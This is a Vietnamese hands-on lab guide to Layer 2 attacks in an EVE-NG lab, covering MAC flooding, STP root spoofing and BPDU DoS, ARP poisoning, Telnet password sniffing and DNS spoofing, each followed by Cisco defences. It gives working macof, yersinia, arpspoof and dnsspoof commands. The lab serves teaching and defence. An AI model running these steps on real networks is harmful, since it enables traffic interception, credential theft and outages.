Hướng dẫn thực hành tấn công và phòng chống trên Switch Layer 2 (MAC Flooding, ARP, STP, VLAN Hopping)
1. Mục tiêu bài Lab
Thực hiện các tấn công trên Switch và đề xuất giải pháp bảo vệ
1️⃣ Hiểu và thực hiện tấn công MAC Flooding
-
Hiểu cơ chế hoạt động của bảng MAC (CAM table) trên Switch.
-
Thực hiện tấn công MAC Flooding để làm tràn bảng CAM.
-
Quan sát hiện tượng Switch chuyển sang chế độ broadcast (fail-open).
-
Phân tích rủi ro bảo mật khi Switch hoạt động như Hub.
-
Đề xuất và cấu hình biện pháp phòng chống (Port Security).
2️⃣ Hiểu và khai thác lỗ hổng ARP (ARP Poisoning)
-
Hiểu nguyên lý hoạt động của giao thức ARP.
-
Thực hiện ARP Spoofing/ARP Poisoning.
-
Sau khi chiếm quyền MITM, thực hiện:
-
🔹 Tấn công DoS
-
🔹 Capture traffic (nghe lén dữ liệu)
-
🔹 Session Hijacking
-
-
Phân tích mức độ nguy hiểm trong mạng LAN.
-
Triển khai giải pháp bảo vệ (Dynamic ARP Inspection, DHCP Snooping, Static ARP).
3️⃣ Tấn công STP (Spanning Tree Protocol)
-
Hiểu nguyên lý hoạt động của STP.
-
Thực hiện giả mạo Root Bridge.
-
Thực hiện tấn công DoS bằng cách gửi BPDU làm chiếm dụng CPU.
-
Quan sát ảnh hưởng đến topology mạng.
-
Cấu hình biện pháp phòng chống (BPDU Guard, Root Guard).
4️⃣ Tấn công VLAN Hopping
-
Hiểu cơ chế hoạt động của VLAN và Trunking (802.1Q).
-
Thực hiện VLAN Hopping (Switch Spoofing, Double Tagging).
-
Phân tích nguy cơ truy cập trái phép giữa các VLAN.
-
Cấu hình bảo vệ (Disable DTP, cấu hình Access Port, Native VLAN riêng biệt).
2. Mô hình và Môi trường
-
Hệ thống Lab: EVE-NG chạy trên VPS.
-
Công cụ tấn công: Kali Linux (bộ công cụ
dsniff,wireshark). -
Thiết bị nạn nhân: Cisco IOL Switch (đóng vai PC để hỗ trợ Telnet).
-
Thiết bị mạng: Cisco IOL Switch (L2) và Router Gateway.
Giả định hạ tầng mạng

Lưu ý với SW2 cần chỉnh chỗ này thành số 2 thì mới có cổng e1/0 nhé :

Bước 1: Cấu hình Router (Đóng vai trò Gateway)
Lưu ý khi hỏi config Router bạn nên chọn no nhé

Bạn mở Console của Router, gõ các lệnh sau để bật cổng và gán IP 192.168.10.1:
enable
configure terminal
interface e0/0
no shutdown
ip address 192.168.10.1 255.255.255.0
exit
do write

Bước 2: Cấu hình VPCS (Switch đóng vai PC)
Mở Console của con VPSC đó lên và gõ như sau để đổi tên SW cho chuẩn VPSC nhé :
enable
configure terminal
hostname VPSC
Cấu hình network
enable
configure terminal
no ip routing
interface vlan 1
ip address 192.168.10.100 255.255.255.0
no shutdown
exit
ip default-gateway 192.168.10.1
end
Bước 3: Cấu hình 2 Switch (SW và SW2)
Mặc định thì các Switch khi bật lên đã thông nhau ở VLAN 1 rồi. Tuy nhiên, để chuẩn bị nền tảng cho bài STP và VLAN Hopping lát nữa, chúng ta cần ép 2 sợi cáp nối giữa 2 Switch (cổng e0/1 và e0/2) thành đường Trunk.
Trên Switch SW:
enable
configure terminal
interface range e0/1 - 2
switchport trunk encapsulation dot1q
switchport mode trunk
no shutdown
exit
do write
Trên Switch SW2:
enable
configure terminal
interface range e0/1 - 2
switchport trunk encapsulation dot1q
switchport mode trunk
no shutdown
exit
do write
Bước 4: Cấu hình máy Hacker (Kali-Attacker)
Mở cửa sổ dòng lệnh (Terminal) trên giao diện của Kali Linux, gán IP 192.168.10.2:
sudo ip addr flush dev eth0
sudo ip addr add 192.168.10.2/24 dev eth0
sudo ip link set eth0 up
sudo ip route add default via 192.168.10.1
(Lưu ý: Nếu nó đòi pass sudo, bạn nhập kali nhé).

Cách trên chỉ là đặt IP tạm thời, khi khởi động lại Kali sẽ mất IP ngay, cách tốt hơn để đặt IP cố định là :
sudo nmcli con add con-name "Lab-Network" ifname eth0 type ethernet ip4 192.168.10.2/24 gw4 192.168.10.1
sudo nmcli con up "Lab-Network"
sudo bash -c 'echo "nameserver 8.8.8.8" > /etc/resolv.conf'

Bước 5: Kiểm tra thông mạng (Ping Test)
Trước khi đi "phá làng phá xóm", bạn phải chắc chắn là mạng đang hoạt động bình thường đã.
-
Trên VPSC: Gõ
ping 192.168.10.1(xem có thông Gateway không).

-
Trên Kali: Gõ
ping 192.168.10.100(xem có thấy máy nạn nhân không).

Nếu mọi thứ đã Ping thông !!!, bạn hãy báo cho mình biết để chúng ta triển khai mã độc MAC Flooding đầu tiên nhé! Mọi thứ đã sẵn sàng rồi!
Chúng ta chính thức bước vào bài tấn công đầu tiên.
3.MAC Flooding (Làm tràn bảng MAC).
Mục tiêu của đòn tấn công: Làm cho con Switch (SW2) bị hiểu nhầm, bộ nhớ (bảng CAM) bị đầy nghẹt bởi hàng vạn địa chỉ MAC giả. Khi bộ nhớ không còn chỗ trống, Switch không thể ghi nhớ thiết bị nào nằm ở cổng nào nữa. Lúc này, nó sẽ bị giáng cấp biến thành một cái Hub "ngu ngốc" -> Có gói tin nào đi qua nó cũng sẽ copy và gửi ra TẤT CẢ các cổng (Broadcast). Nhờ đó, máy Kali ngồi một chỗ có thể "hôi của" nghe lén được mọi dữ liệu của người khác trong mạng.
BƯỚC 1: Nhìn nhận "trạng thái hòa bình" (Trước tấn công)
-
Bạn mở Console của con SW2 (Nơi cắm máy Kali).
-
Gõ lệnh kiểm tra số lượng MAC đang được Switch ghi nhớ:
show mac address-table count
BƯỚC 2: Khai hỏa MAC Flooding
-
Mở cửa sổ Terminal của máy Kali.
-
Gõ lệnh (công cụ này có sẵn trong hệ điều hành).
sudo macof -i eth0

👉 Hiện tượng: Màn hình Kali sẽ cuộn chữ nhanh như ma trận. Đó là nó đang liên tục sinh ra hàng nghìn địa chỉ MAC ngẫu nhiên và tấp thẳng vào cổng của Switch!
BƯỚC 3: Kiểm tra "hiện trường vụ án"
-
Để Kali chạy khoảng 10 giây, sau đó quay lại Console của SW2 gõ lại lệnh:
show mac address-table count👉 Kết quả: Số lượng Dynamic Address lúc này đã nhảy vọt lên con số kịch kim (thường là vài ngàn, tùy giới hạn phần cứng của Switch ảo).

-
Bạn có thể gõ thử lệnh
show mac address-table, bạn sẽ thấy một mớ MAC rác rưởi lấp đầy màn hình. -
Switch đã chính thức bị hạ gục! Bảng MAC đã tràn, tấn công thành công.
BƯỚC 4: Giải pháp phòng thủ (Port Security)
Bây giờ bạn đóng vai quản trị viên mạng đi "vá lỗi". Giải pháp tối ưu nhất là dùng tính năng bảo mật cổng (Port Security).
-
Dừng tấn công: Sang máy Kali bấm
Ctrl + Cđể dừng lệnhmacof. Kiểm tra xem bất thường xem đặc điểm chung của port được phát nhiều địa chỉ MAC
show mac address-table

-
Dọn rác: Sang SW2, xóa sạch bộ nhớ đệm đang bị đầy rác bằng lệnh:
clear mac address-table dynamic -
Bật khiên bảo vệ: Chúng ta sẽ khóa cổng
e0/3(cổng cắm Kali), ép nó chỉ được phép nhận diện tối đa 2 địa chỉ MAC. Nếu có MAC thứ 3 xuất hiện, lập tức chặn đứng. Trên SW2 gõ:configure terminal interface e0/3 switchport mode access switchport port-security switchport port-security maximum 2 switchport port-security violation restrict end

(💡 Giải thích: Chế độ violation restrict sẽ thẳng tay vứt bỏ các gói tin chứa MAC giả và cảnh báo, nhưng vẫn giữ cổng hoạt động. Nếu bạn đổi thành violation shutdown, cổng sẽ bị tắt đen thui ngay lập tức).
Tháo khiên trên SW2 ( Khi không cần thiết):
configure terminal
interface e0/3
no switchport port-security
end
Để bật lại thì thực hiện lại bước Bật khiên bảo vệ nhé.
BƯỚC 5: Tấn công lại (Nghiệm thu khiên bảo vệ)
-
Về lại máy Kali, chạy lại lệnh
sudo macof -i eth0. -
Sang màn hình SW2, bạn sẽ thấy Switch liên tục phản hồi bằng các dòng log cảnh báo đỏ lòm:
%PORT_SECURITY-2-PSECURE_VIOLATION...

Bạn gõ lại show mac address-table count -> Số lượng MAC vẫn chỉ là 1 hoặc 2. Bảng MAC được bảo vệ an toàn tuyệt đối!

4.Tấn công Spanning Tree (STP)
Trong một mạng có nhiều dây nối vòng vèo (như 2 sợi dây nối giữa SW1 và SW2 của bạn), giao thức STP sẽ tự động khóa bớt 1 dây để chống bão mạng (Loop). Để làm được việc này, các Switch sẽ "bầu cử" ra một con làm Lãnh đạo tối cao gọi là Root Bridge. Mọi dữ liệu đi lại trong mạng đều phải nể mặt và tìm đường ngắn nhất hướng về con Root Bridge này.
Mục tiêu của Hacker (Kali): Gửi các gói tin bầu cử (BPDU) giả mạo, tự nhận mình có điểm ưu tiên (Priority) tuyệt đối = 0. Các Switch thật sẽ bị lừa, tôn máy Kali lên làm Root Bridge. Hậu quả là toàn bộ lưu lượng mạng bị bẻ lái chạy xuyên qua máy Kali -> Mạng bị chậm, nghẽn, hoặc Hacker có thể "ngửi" được mọi thứ.
BƯỚC 1: Trinh sát "Trạng thái hòa bình"
Trước khi đánh, mình phải xem ai đang làm Sếp.
Bạn mở Console của SW2 và gõ:
show spanning-tree
Bạn nhìn vào 2 thông số chính:
-
-
Root ID: Thông tin của con Lãnh đạo hiện tại (Thường là thông tin của SW1 hoặc chính SW2).
-
Bảng các cổng (Interface): Bạn sẽ thấy 2 cổng nối Trunk là
Et0/1vàEt0/2. Trong đó, chắc chắn sẽ có 1 cổng bị khóa (chữ BLK - Blocking) và 1 cổng mở (chữ FWD - Forwarding) để chống Loop. Cổng cắm Kali (Et0/3) đang là cổng rìa (Desg FWD).
-
BƯỚC 2: Khởi động siêu vũ khí "Yersinia"
Trường hợp xấu là Kali sẽ không có sẵn tool này, vậy nên để cài cần cho hệ thống mạng của chúng ta có mạng trước mới cài được.
Kéo cáp Internet vào Router (Trên giao diện EVE-NG)
-
Bạn chuột phải vào Router R4 -> Chọn Stop (phải tắt thiết bị mới cắm thêm dây được).
-
Chuột phải vào khoảng trống -> Chọn Network -> Ở mục Type chọn Management(Cloud0) (hoặc NAT) -> Bấm Save để tạo một đám mây Internet.
-
Kéo cáp từ đám mây nối vào cổng còn trống của Router (ví dụ:
e0/1). -
Bấm Start để khởi động lại Router R4.
Cấu hình NAT trên Router R4
Vì Cloud cấp một dải IP khác, và mạng Lab của bạn đang dùng dải 192.168.10.0/24, nên Internet bên ngoài sẽ không biết đường trả dữ liệu về. Chúng ta bắt buộc phải cấu hình NAT Overload (PAT).
Bạn mở Console của Router R4 và copy/paste toàn bộ cụm lệnh này (nhớ lưu ý thay e0/1 bằng đúng cổng bạn vừa cắm vào Cloud nhé):
configure terminal
! 1. Cấu hình cổng WAN (Nối ra Internet) nhận IP tự động và làm cổng Outside
interface e0/1
ip address dhcp
ip nat outside
no shutdown
exit
! 2. Cấu hình cổng LAN (Nối xuống Switch) làm cổng Inside
interface e0/0
ip nat inside
exit
! 3. Tạo danh sách cho phép mạng Lab (192.168.10.0) được ra Internet
access-list 1 permit 192.168.10.0 0.0.0.255
! 4. Kích hoạt NAT Overload (Chuyển đổi IP)
ip nat inside source list 1 interface e0/1 overload
end
! Lưu cấu hình
wr
(Sau khi gõ xong, bạn đợi vài giây để cổng e0/1 nhận IP từ DHCP, thường sẽ có dòng log báo %DHCP-6-ADDRESS-ASSIGN hiện lên).
Chốt hạ & Tải vũ khí
Bây giờ mọi thứ đã hoàn hảo. Bạn hãy test trực tiếp trên máy Kali:
-
Thử ping ra ngoài xem thông chưa:
ping google.com -c 4
-
Nếu kết quả trả về
64 bytes from...là mạng đã thông hoàn toàn! Lúc này bạn chỉ việc gõ lệnh tải tool:sudo apt update sudo apt install yersinia -y

-
Trên máy Kali, bạn mở Terminal (cửa sổ lệnh) và gõ:
sudo yersinia -I
Lúc này chắc chắn giao diện "Ma trận" đen ngòm sẽ hiện lên trơn tru. Bạn làm tiếp theo các bước này để cướp quyền nhé:
Nhấn phímg-> Dùng phím mũi tên kéo xuống chọn STP -> Nhấn Enter.

Nhấn phím x để mở menu khai hỏa (Attack Panel).

Nhìn trong danh sách, tìm số tương ứng với đòn Claiming Root Role (thường là phím số 4 ) và bấm phím số đó.

Bạn kéo rộng cửa sổ ra rồi chạy lại xem đã vào được chế độ xịn xò này chưa nhé?
Khi nào thấy nó bắt đầu xả gói tin thì chạy qua SW2 gõ show spanning-tree xem Kali đã lên làm Sếp chưa! 🚀

🕵️ Phân tích hiện trường vụ Hack
Nhìn vào dòng có mũi tên đỏ bạn chỉ, cổng Et0/3 (nối với máy Kali) đã chễm chệ đoạt lấy chức danh Root (Root Port).
Điều này cực kỳ nguy hiểm vì:
-
Đáng lẽ ra, Root Port của SW2 phải là một trong hai cổng Trunk (e0/1 hoặc e0/2) hướng lên con Switch trung tâm (SW1) ở trên cùng.
-
Nhưng bây giờ, SW2 đã bị các gói tin giả mạo của Yersinia lừa tình. Nó tin rằng con đường ngắn nhất để đến "Sếp Tổng" (Root Bridge) là phải... chui qua cái máy tính Kali.
-
Hậu quả: Toàn bộ lưu lượng mạng của các máy trạm cắm vào SW2 thay vì đi thẳng lên trên, sẽ bị bẻ lái chạy đâm thẳng vào máy Kali. Máy Kali giờ đây trở thành trạm trung chuyển (Man-in-the-Middle) và tha hồ "ngửi" (sniff), bắt trộm mật khẩu, dữ liệu của người khác!
Tấn công DoS (Denial of Service) làm treo CPU của Switch.
📖 Nguyên lý của đòn DoS qua STP:
Thuật toán Spanning Tree cực kỳ ngốn tài nguyên CPU của Switch mỗi khi có sự thay đổi trong mạng. Nếu máy Kali liên tục xả hàng chục ngàn gói tin TCN (Topology Change Notification - Thông báo thay đổi cấu trúc mạng) hoặc các gói tin BPDU rác, con Switch sẽ phải liên tục xóa bảng MAC và tính toán lại đường đi. Kết quả là CPU của Switch sẽ bị đẩy lên 100%, dẫn đến treo cứng, mạng nội bộ hoàn toàn tê liệt.
🛠️ Cách thực hiện bằng siêu vũ khí Yersinia
Chúng ta lại gọi Yersinia lên để làm việc này. Bạn làm theo các bước sau nhé:
BƯỚC 1: Mở màn hình theo dõi sức khỏe Switch (Trên SW2) Trước khi đánh, bạn phải xem CPU lúc bình thường nó nhàn rỗi như thế nào. Bạn vào SW2 gõ lệnh sau để xem các tiến trình đang ăn CPU:
show processes cpu sorted | exclude 0.00

(Bạn sẽ thấy CPU load đang ở mức rất thấp, loanh quanh 1% - 5%).
BƯỚC 2: Khai hỏa ma trận DoS (Trên Kali) Mở lại Yersinia ở chế độ phím tắt:
sudo yersinia -I
-
Bấm phím
g, dùng mũi tên chọn STP và nhấn Enter. -
Bấm phím
xđể mở danh sách đòn tấn công. -
Lần này, thay vì chọn "Claiming Root Role", bạn hãy nhìn lên đầu danh sách và chọn đòn:
-
0- Sending conf BPDUs (Gửi bão gói tin cấu hình rác) -
Hoặc
1- Sending TCN BPDUs (Gửi bão gói tin báo động giả). -
(Bạn bấm phím số 0 hoặc 1 tương ứng trên bàn phím).
-
Ngay khi bạn bấm, Yersinia sẽ nã đạn liên thanh vào cổng Et0/3.
BƯỚC 3: Chứng kiến Switch "hấp hối" (Trên SW2) Lúc này, bạn quay lại màn hình console của SW2 (có thể bạn sẽ thấy nó phản hồi rất chậm, gõ chữ bị lag vì CPU đang quá tải). Bạn gõ lại lệnh lúc nãy:
show processes cpu sorted
👉 Dấu hiệu thành công: Bạn sẽ thấy thông số CPU Utilization vọt lên 99% hoặc 100%. Ở cột danh sách tiến trình bên dưới, các tiến trình như Spanning Tree, ARP Input hoặc HLFM sẽ chiếm dụng CPU cao chót vót. Switch gần như không thể phản hồi các gói ping bình thường nữa.
BƯỚC 4: Vá lỗ hổng bằng "Khiên BPDU" (BPDU Guard)
Bạn đã Hack sập mạng thành công rồi! Bây giờ hãy thoát vai Hacker, đội mũ Admin vào để đi tiêu diệt cái tool Yersinia này.
Logic phòng thủ: Cổng e0/3 là cổng Access (chỉ dùng để cắm PC, Laptop). Một cái PC bình thường không bao giờ có quyền gửi các gói tin bầu cử mạng (BPDU). Nếu cổng này nhận được BPDU, chắc chắn 100% là có kẻ đang dùng tool giả mạo! Chúng ta sẽ dùng tính năng BPDU Guard để "thấy là trảm".
Bạn mở Console của SW2 và gõ bộ lệnh sau để kích hoạt khiên:
configure terminal
interface e0/3
spanning-tree bpduguard enable
end

BƯỚC 5: Kiểm tra "Độ cứng" của khiên
Bây giờ, chúng ta sẽ để cho Switch tự động "phản đam":
-
Bạn mở lại tool Yersinia trên Kali và kích hoạt lại đòn tấn công Claiming Root Role y như cũ.
-
Quay sang màn hình SW2 ngay lập tức.
-
Bạn sẽ thấy Switch nổ dòng log đỏ lòm:
%PM-4-ERR_DISABLE: bpduguard error detected on Et0/3, putting Et0/3 in err-disable state.
Cổng của Hacker đã bị giật sập nguồn ngay tức khắc trước khi kịp làm lú hệ thống! Bạn thử kích hoạt BPDU Guard và bắn lại Yersinia xem Switch "chém" đẹp máy Kali như thế nào nhé!
Để tắt cái "khiên" BPDU Guard này đi, quy luật cấu hình trên thiết bị Cisco cực kỳ đơn giản: bạn chỉ cần thêm chữ no vào ngay phía trước câu lệnh lúc nãy là xong!
Trước tiên tắt kill yersinia với lệnh sau :
sudo killall yersinia
Tuy nhiên, có một lưu ý cực kỳ quan trọng: Nếu cổng e0/3 của bạn đã bị Switch "trảm" (rơi vào trạng thái err-disable do bắt quả tang Yersinia đang hack), thì việc tháo khiên ra vẫn chưa đủ để cổng sáng đèn trở lại. Bạn bắt buộc phải làm thêm thao tác "rút điện ra cắm lại" (Tắt cổng rồi Bật lại) để hồi sinh nó.
Bạn mở Console của SW2 và gõ nguyên cụm lệnh "giải cứu" này nhé:
configure terminal
interface e0/3
! 1. Tháo khiên bảo vệ
no spanning-tree bpduguard enable
! 2. Rút điện và cắm lại để hồi sinh cổng (Nếu cổng đang bị sập)
shutdown
no shutdown
end
5. ARP Poisoning : DoS, Capture traffic, Hijacking
Trước tiên cần NAT để cho VPC(Victim) có mạng trước :
configure terminal
ip routing
ip route 0.0.0.0 0.0.0.0 192.168.10.1
end
💣 CHIẾN DỊCH 1: ARP Poisoning & DoS (Cắt cầu dao mạng)
Mục tiêu: Đầu độc bộ nhớ ARP của nạn nhân, lừa nó gửi dữ liệu cho Kali. Kali nhận được thì âm thầm "vứt" đi, khiến nạn nhân rớt mạng.
-
Trên máy Nạn nhân (SW-VPC): Bạn gõ lệnh ping liên tục để theo dõi (Cisco dùng lệnh
repeatthay vì-t):
ping 8.8.8.8 repeat 9999
(Lúc này bạn sẽ thấy dấu !!!!!chạy liên tục). -
Trên máy Kali: Đảm bảo chế độ chuyển tiếp đang TẮT, sau đó tung đòn đầu độc:
sudo sysctl -w net.ipv4.ip_forward=0 sudo arpspoof -i eth0 -t 192.168.10.100 192.168.10.1
-
Nghiệm thu: Bạn nhìn sang màn hình Nạn nhân. Dòng ping
!!!!!sẽ lập tức bị đứt đoạn và chuyển thành các dấu.....(Request timed out). Bạn đã DoS thành công bằng ARP!

(Bấm Ctrl + C trên máy Kali để dừng lệnh arpspoof, mạng của nạn nhân sẽ xanh mượt trở lại để chuẩn bị cho đòn tiếp theo).
🕵️♂️ CHIẾN DỊCH 2: Capture Traffic (Trạm thu phí nghe lén Telnet)
Bước 1 :Chuẩn bị
Cấu hình Telnet cho SW2 (Mục tiêu)
Vì SW2 là Switch Layer 2, bạn cần đặt cho nó một cái IP quản trị (Interface Vlan 1) để máy khác có thể Telnet tới, sau đó mở cổng VTY.
Bạn mở Console của SW2 và gõ bộ lệnh sau:
configure terminal
! 1. Đặt IP quản trị cho SW2 (Mình chọn tạm .222, bạn có thể đổi)
interface vlan 1
ip address 192.168.10.222 255.255.255.0
no shutdown
exit
! 2. Bật dịch vụ Telnet và đặt mật khẩu là "hacker"
line vty 0 4
password hacker
login
transport input telnet
end
! Lưu cấu hình
wr
(Cấu hình xong, từ con VPC 192.168.10.100 bạn thử ping 192.168.10.222 xem đã thấy nhau chưa nhé).
🕵️♂️ BƯỚC 2: Giăng lưới ARP Spoofing (Trên Kali)
Lần này, "nạn nhân" là 192.168.10.100 và "máy chủ" là 192.168.10.222. Chúng ta sẽ đứng giữa 2 máy này.
-
Bật IP Forwarding (Đừng quên nhé, không là đứt mạng nội bộ):
Bashsudo sysctl -w net.ipv4.ip_forward=1 -
Xả độc 2 chiều (Mở 2 Terminal trên Kali):
-
Terminal 1 (Lừa VPC): Bơm vào đầu VPC rằng MAC của Kali là MAC của SW2.
sudo arpspoof -i eth0 -t 192.168.10.100 192.168.10.222 -
Terminal 2 (Lừa SW2): Bơm vào đầu SW2 rằng MAC của Kali là MAC của VPC.
sudo arpspoof -i eth0 -t 192.168.10.222 192.168.10.100
-
🎣 BƯỚC 3: "Cất vó" Telnet
-
Trên Kali: Mở Terminal thứ 3, chạy
sudo wireshark, chọn cổngeth0và gõ vào thanh Filter chữ:telnet. -
Trên VPC (Nạn nhân): Bạn gõ lệnh truy cập vào SW2:
Plaintexttelnet 192.168.10.222Nó sẽ hỏi User Access Verification, bạn gõ mật khẩu
hackerrồi Enter. -
Thành quả trên Kali: Bùm! Wireshark sẽ nổ các dòng gói tin. Bạn click chuột phải vào 1 dòng -> Follow -> TCP Stream. Mật khẩu
hackersẽ nằm tênh hênh trên màn hình Kali!
🎭 CHIẾN DỊCH 3: Hijacking (Đánh cắp lưu lượng / Bẻ lái DNS)
📖 Nguyên lý của đòn bẻ lái DNS
Khi con PC Nạn nhân (VPC) muốn truy cập một trang web, nó sẽ lớn tiếng hỏi ra mạng: "Ai biết IP của trang web này là gì không?". Đáng lẽ câu hỏi này sẽ chạy thẳng ra con DNS Server của Google (8.8.8.8). Nhưng vì máy Kali của bạn đang đứng giữa (nhờ đòn ARP Spoofing trước đó), Kali sẽ "chộp" lấy câu hỏi này và hét lên trả lời ngay lập tức: "Tao biết! IP của trang đó là 192.168.10.2 (tức là máy Kali) nè!".
Nạn nhân ngây thơ tin ngay, và đâm thẳng vào bẫy của bạn.
🛠️ Kế hoạch Tác chiến
⚠️ ĐIỀU KIỆN TIÊN QUYẾT: Bạn hãy gõ lại 2 lệnh arpspoof lừa VPC và Router nhé:
-
Terminal 1:
sudo arpspoof -i eth0 -t 192.168.10.100 192.168.10.1(Lừa VPC: "Tao là Router nè") -
Terminal 2:
sudo arpspoof -i eth0 -t 192.168.10.1 192.168.10.100(Lừa Router: "Tao là thằng VPC nè")
Bước 1: Lập "Danh bạ đen" (Trên máy Kali) Bạn mở một cửa sổ Terminal thứ 3 (mới) trên Kali. Chúng ta sẽ tạo ra một danh bạ DNS giả mạo để lừa nạn nhân. Bạn gõ lần lượt 2 lệnh sau:
echo "192.168.10.2 quyenlt.com" > fake_dns.txt
echo "192.168.10.2 www.quyenlt.com" >> fake_dns.txt
(Lệnh này có ý nghĩa: Bất cứ ai hỏi tên miền com.quyenlt, hãy điều hướng nó về thẳng cái IP 192.168.10.2 của máy Kali).
Bước 2: Kích hoạt trạm bẻ lái (Trên máy Kali) Vẫn ở Terminal đó, bạn nạp file danh bạ giả này vào công cụ bẻ lái:
sudo dnsspoof -i eth0 -f fake_dns.txt
Lúc này, tool sẽ nằm im và lắng nghe các truy vấn DNS đi ngang qua.

Chặn đứng Google DNS (Trên Kali) Để chắc chắn lệnh chặn cổng 53 được ưu tiên cao nhất, bạn gõ lệnh này trên Terminal Kali:
sudo iptables -I FORWARD 1 -p udp --dport 53 -j DROP
Bước 3: Nạn nhân sập bẫy (Trên con SW-VPC 192.168.10.100) Bây giờ, bạn đóng vai người dùng bình thường, mở Console của con VPC lên và gõ lệnh truy cập vào tên miền vừa cấu hình:
ping quyenlt.com
🎯 Nghiệm thu kết quả
-
Trên màn hình VPC: Bạn sẽ thấy lệnh ping phân giải ra kết quả là
192.168.10.2(IP của Hacker) chứ không phải là IP thật ở ngoài Internet. -
Trên màn hình Kali: Ở cái Terminal đang chạy
dnsspoof, bạn sẽ thấy nổ dòng log báo hiệu đã bắt được truy vấn DNS và trả về IP giả mạo thành công!
Nếu trên máy Kali bạn đang bật sẵn dịch vụ Apache (sudo systemctl start apache2), thì khi nạn nhân lướt web, họ sẽ thấy nguyên một cái trang web lừa đảo do bạn tự thiết kế sẵn.
🏆 TỔNG KẾT CHIẾN DỊCH
Bạn đã hoàn thành xuất sắc toàn bộ kịch bản tấn công Man-In-The-Middle khét lẹt nhất của mạng LAN:
-
ARP Spoofing: Đầu độc thành công, bẻ cong luồng dữ liệu bắt nó chạy xuyên qua Kali.
-
Denial of Service (DoS): Cắt đứt Internet của nạn nhân chỉ bằng vài dòng lệnh.
-
Capture Traffic: Dùng Wireshark chộp sống mật khẩu Telnet cleartext (
hacker). -
DNS Hijacking: Thao túng hệ thống phân giải tên miền, lừa nạn nhân truy cập vào server giả mạo.
🧹 Bước dọn dẹp chiến trường (Rất quan trọng): Để trả lại sự "trong sạch" cho máy Kali chuẩn bị cho các bài Lab sau (nếu không sau này bật Kali lên share mạng nó lại tịt DNS), bạn hãy gỡ bỏ cái chốt chặn iptables vừa rồi bằng lệnh:
sudo iptables -D FORWARD -p udp --dport 53 -j DROP
(Đồng thời tắt các tool arpspoof, dnsspoof bằng Ctrl + C và gõ lệnh sudo sysctl -w net.ipv4.ip_forward=0 để tắt chuyển tiếp).
Biện Pháp Bảo Vệ ARPSPOOF
Để "phế võ công" hoàn toàn công cụ arpspoof của Kali Linux, vũ khí tối thượng mà các kỹ sư mạng Cisco sử dụng chính là DAI (Dynamic ARP Inspection).
🛡️ Nguyên lý hoạt động của Khiên DAI:
Bình thường, Switch Layer 2 rất "ngây thơ", ai nói gì cũng tin. Kali hét lên "Tao là Router" thì Switch cũng hùa theo chuyển dữ liệu cho Kali. Nhưng khi bật DAI, Switch sẽ trở thành một ông bảo vệ khó tính:
-
Nó chia các cổng thành 2 loại: Trusted (Tin cậy - cổng nối với Router thật) và Untrusted (Không tin cậy - cổng nối xuống người dùng/hacker).
-
Khi cổng Untrusted gửi gói tin ARP, Switch sẽ giữ lại "hỏi cung". Nó đối chiếu IP và MAC trong gói tin với một cuốn "Sổ đỏ" (Binding Database).
-
Nếu Kali xưng là IP
192.168.10.1(của Router) nhưng kiểm tra "Sổ đỏ" thấy MAC của Kali không khớp với MAC của Router -> Switch vứt gói tin đó vào sọt rác ngay lập tức!
🛠️ Cấu hình thực chiến trên Lab (Switch SW2)
Trong thực tế doanh nghiệp, "Sổ đỏ" này được tạo tự động nhờ tính năng DHCP Snooping. Tuy nhiên, vì bài Lab của chúng ta đang dùng IP tĩnh (Static IP) cho cả Router và VPC, nên chúng ta sẽ tự viết tay cuốn Sổ đỏ này bằng tính năng ARP Access-List.
BƯỚC 1: Thu thập địa chỉ MAC chính chủ Trên con SW2, bạn gõ lệnh show arp để xem địa chỉ MAC thật của con Router (192.168.10.1) và VPC (192.168.10.100) là gì. (Ví dụ: MAC của Router là aabb.ccdd.ee01, MAC của VPC là aabb.ccdd.ee02).
Do SW2 chỉ show các địa chỉ gần nhất tương tác, nên nếu không hiện IP Router bạn chỉ cần ping tới 192.168.10.1 là được nhé.
BƯỚC 2: Viết "Sổ đỏ" (Trên SW2) Bạn mở Console của SW2 và khai báo danh sách những người tử tế:
configure terminal
arp access-list CHINH_CHU
permit ip host 192.168.10.1 mac host aabb.cc00.4000
permit ip host 192.168.10.100 mac host aabb.cc80.3000
exit
(Lưu ý: Bạn nhớ thay thế địa chỉ MAC aabb.ccdd... bằng MAC thật bạn vừa tra cứu ở Bước 1 nhé).

BƯỚC 3: Bật khiên DAI và áp dụng Sổ đỏ
! Nạp sổ đỏ vào DAI cho Vlan 1
ip arp inspection filter CHINH_CHU vlan 1
! Chính thức kích hoạt DAI trên toàn bộ Vlan 1
ip arp inspection vlan 1

BƯỚC 4: Chỉ định cổng "Tin cậy" (Trusted Port) Giả sử cổng Et0/1 của SW2 là cổng cắm thẳng lên Router, và Et0/2 cắm sang SW1/VPC (đây là các đường Uplink/Trunking đáng tin). Ta phải gỡ bỏ kiểm duyệt cho các cổng này để mạng không bị chậm:
interface range e0/1 - 2
ip arp inspection trust
exit
(Lúc này, cổng cắm máy Kali - ví dụ Et0/3 - mặc định sẽ ở trạng thái Untrusted và bị giám sát chặt chẽ).

🎯 Nghiệm thu: Sự tuyệt vọng của Hacker
Bây giờ hệ thống phòng thủ đã được kích hoạt. Mời bạn quay lại máy Kali và gõ lại lệnh xả độc:
sudo arpspoof -i eth0 -t 192.168.10.100 192.168.10.1
Kết quả sẽ cực kỳ thỏa mãn:
-
Trên máy VPC: Mạng vẫn xanh mượt, ping
8.8.8.8ầm ầm, không hề bị rớt hay đứt đoạn. Đòn DoS của Kali hoàn toàn vô dụng. -
Trên màn hình Console của con SW2: Bạn sẽ thấy nó liên tục nhảy các dòng log cảnh báo đỏ rực:
%SW_DAI-4-ACL_DENY: 1 Invalid ARPs (Req) on Et0/3, vlan 1.([MAC_KALI]/192.168.10.1/...)(Dòng log này báo cáo: Cổng
Et0/3vừa có thằng láo toét dùng MAC lạ mạo danh IP 10.1, và bảo vệ đã tát nó văng ra ngoài!)
Lúc này bạn test tấn công chiến dịch DNS (chiến dịch 3) sẽ không được nữa.
🛠️ Cách tắt khiên nhanh nhất (Chỉ tắt tính năng)
Nếu bạn chỉ muốn tạm thời cất khiên đi để Kali tiếp tục tấn công (các cấu hình sổ đỏ vẫn giữ nguyên đó, khi nào cần bật lại sau), bạn chỉ cần 1 lệnh duy nhất này:
configure terminal
no ip arp inspection vlan 1
end


